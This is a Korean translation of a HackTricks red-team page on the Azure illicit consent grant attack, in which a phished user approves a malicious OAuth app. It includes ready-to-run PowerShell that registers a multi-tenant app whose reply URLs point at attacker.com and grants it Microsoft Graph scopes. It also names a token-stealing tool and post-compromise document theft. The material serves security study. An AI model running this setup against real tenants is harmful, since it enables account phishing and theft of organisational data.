Az - Illicit Consent Grant

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **히어로**까지 **AWS 해킹**을 배우세요!

HackTricks를 지원하는 다른 방법:

OAuth 앱 사기

Azure 애플리케이션사용자 데이터(기본 정보뿐만 아니라 문서 액세스, 이메일 전송 등)에 액세스할 권한을 요청합니다. 허용된 경우, 일반 사용자는 **"낮은 영향 권한"**에 대해 동의할 수 있습니다. 다른 모든 경우에는 관리자 동의가 필요합니다. GA, ApplicationAdministrator, CloudApplication Administrator애플리케이션에 권한 부여 권한을 포함하는 사용자 정의 역할은 테넌트 전체 동의를 제공할 수 있습니다.

관리자 동의가 필요하지 않는 권한만이 낮은 영향으로 분류됩니다. 이는 기본 로그인에 필요한 권한으로 openid, profile, email, User.Read 및 offline_access 권한을 포함합니다. 조직모든 앱에 대한 사용자 동의를 허용하는 경우, 직원은 앱에 대한 프로필에서 위의 내용을 읽을 수 있는 동의를 할 수 있습니다.

따라서 공격자는 악성 앱을 준비하고 피싱을 통해 사용자가 앱을 수락하고 데이터를 도용하도록 유도할 수 있습니다.

2가지 유형의 부적절한 동의 부여 공격

  • 인증되지 않은: 외부 계정에서 User.ReadUser.ReadBasic.All 권한을 가진 애플리케이션을 생성하고 사용자를 피싱하여 디렉터리 정보에 액세스할 수 있습니다.

  • 이는 피싱당한 사용자가 외부 환경에서 OAuth 앱을 수락할 수 있어야 합니다!

  • 인증된: 충분한 권한을 가진 주체를 침해한 후 계정 내에서 애플리케이션을 생성하고 특권이 있는 사용자를 피싱하여 특권이 있는 OAuth 권한을 수락할 수 있습니다.

  • 이 경우 이미 디렉터리 정보에 액세스할 수 있으므로 권한 User.ReadBasic.All은 더 이상 흥미로운 것이 아닙니다.

  • 관리자가 부여해야 하는 권한에 관심이 있을 것이며, 원시 사용자는 OAuth 앱에 어떤 권한도 부여할 수 없기 때문에 해당 사용자만 피싱해야합니다(이 권한을 부여하는 역할/권한에 대한 자세한 내용은 나중에 설명됨)

사용자가 동의할 수 있는지 확인

다음 PowerShell 명령은 Azure Active Directory(Azure AD)에서 사용자가 애플리케이션에 동의할 수 있는 능력에 대한 사용자의 동의 구성을 확인하는 데 사용됩니다:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
  • 사용자 동의 비활성화: 이 설정은 사용자가 응용 프로그램에 권한을 부여하는 것을 금지합니다. 사용자 동의를 통해 응용 프로그램에 권한을 부여할 수 없습니다.

  • 사용자는 확인된 게시자 또는 귀하의 조직에서 앱에 동의할 수 있지만 선택한 권한에 대해서만: 이 설정은 모든 사용자가 확인된 게시자에 의해 발행된 응용 프로그램 및 귀하의 테넌트에 등록된 응용 프로그램에만 동의할 수 있도록 허용합니다. 특정 권한에 대해서만 동의할 수 있도록 허용하여 제어 수준을 추가합니다.

  • 사용자는 모든 앱에 동의할 수 있음: 이 설정은 더 허용적이며, 해당 권한이 관리자 동의를 필요로하지 않는 한 모든 사용자가 응용 프로그램에 대해 어떤 권한이든 동의할 수 있도록 허용합니다.

  • 사용자 정의 앱 동의 정책: 이 설정은 특정 조직 요구 사항에 맞게 맞춤 정책이 적용되어 있음을 나타냅니다. 이는 응용 프로그램 게시자, 응용 프로그램이 요청하는 권한 및 기타 요소에 기반한 제한의 조합을 포함할 수 있습니다.

불법 동의 부여 공격 이해

불법 동의 부여 공격에서 공격자는 엔드 사용자를 속여 Azure에 등록된 악성 응용 프로그램에 권한을 부여하도록 유도합니다. 이는 응용 프로그램이 정당하다고 보이도록 만들어서 피해자가 모르게 "수락" 버튼을 클릭하게 합니다. 결과적으로 Azure AD는 공격자의 사이트에 토큰을 발급하여 조직 계정이 필요하지 않고도 피해자의 데이터에 액세스하고 조작할 수 있게 합니다. 이는 이메일 읽기 또는 보내기, 파일 액세스 등과 같은 작업을 가능하게 합니다.

공격 흐름 개요

이 공격은 일반적인 회사를 대상으로 여러 단계를 거쳐 진행됩니다. 다음은 공격이 전개될 수 있는 방식입니다:

  1. 도메인 등록 및 응용 프로그램 호스팅: 공격자는 신뢰할 수 있는 사이트와 유사한 도메인을 등록합니다. 예를 들어 "safedomainlogin.com"과 같이 등록합니다. 이 도메인 하위 도메인 (예: "companyname.safedomainlogin.com")에는 권한 부여 코드를 캡처하고 액세스 토큰을 요청하는 응용 프로그램이 호스팅됩니다.

  2. Azure AD에 응용 프로그램 등록: 그런 다음 공격자는 자신의 Azure AD 테넌트에서 Multi-Tenant Application을 등록하고 대상 회사 이름을 사용하여 정당하게 보이도록 지정합니다. 악성 응용 프로그램을 호스팅하는 하위 도메인을 가리키도록 응용 프로그램의 리디렉션 URL을 구성합니다.

  3. 권한 설정: 공격자는 다양한 API 권한 (예: Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read)으로 응용 프로그램을 설정합니다. 사용자가 이러한 권한을 부여하면 공격자가 사용자를 대신하여 민감한 정보를 추출할 수 있습니다.

  4. 악성 링크 배포: 공격자는 악성 응용 프로그램의 클라이언트 ID를 포함한 링크를 작성하고 대상 사용자에게 공유하여 동의하도록 속입니다.

공격에 대한 도구 활용

이 공격은 365-Stealer와 같은 도구를 사용하여 수행될 수 있습니다.

공격 전 준비:

공격자가 피해 조직의 사용자에게 어느 정도의 액세스 권한이 있다면, 조직 정책이 사용자가 앱을 수락할 수 있는지 확인할 수 있습니다.

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

공격을 실행하기 위해 공격자는 Azure 테넌트 (앱 등록)에서 새 앱을 생성해야 하며 다음 권한으로 구성해야 합니다:

User.ReadBasic.AllMicrosoft Graph위임된 권한에 있습니다. (애플리케이션 권한은 항상 추가 승인이 필요합니다).

  • User.ReadBasic.All은 부여된 경우 조직의 모든 사용자 정보를 읽을 수 있는 권한입니다.

  • GA, ApplicationAdministrator, CloudApplication Administrator애플리케이션에 권한 부여 권한을 부여하는 권한을 포함하는 사용자만 테넌트 전체 동의를 제공할 수 있습니다. 따라서 관리자 동의가 필요한 앱을 승인하도록 하려면 해당 역할 중 하나를 가진 사용자를 **사칭(phish)**해야 합니다.

또한 다음 CLI를 사용하여 앱을 만들 수도 있습니다:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

https://www.alteredsecurity.com/post/introduction-to-365-stealer를 확인하여 구성하는 방법을 배울 수 있습니다.

얻은 액세스 토큰User.ReadUser.ReadBasic.All (요청된 권한) 스코프를 가진 그래프 엔드포인트를 위한 것임을 유의하십시오. 다른 작업을 수행할 수는 없지만 (그러나 이는 조직의 모든 사용자에 대한 정보를 다운로드하는 데 충분합니다).

또한이 도구를 사용하여이 공격을 수행할 수 있습니다.

사후 공격

사용자에게 액세스 권한이 부여되면 민감한 문서를 훔치거나 백도어가 설치된 문서 파일을 업로드하는 등의 작업을 수행할 수 있습니다.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

最終更新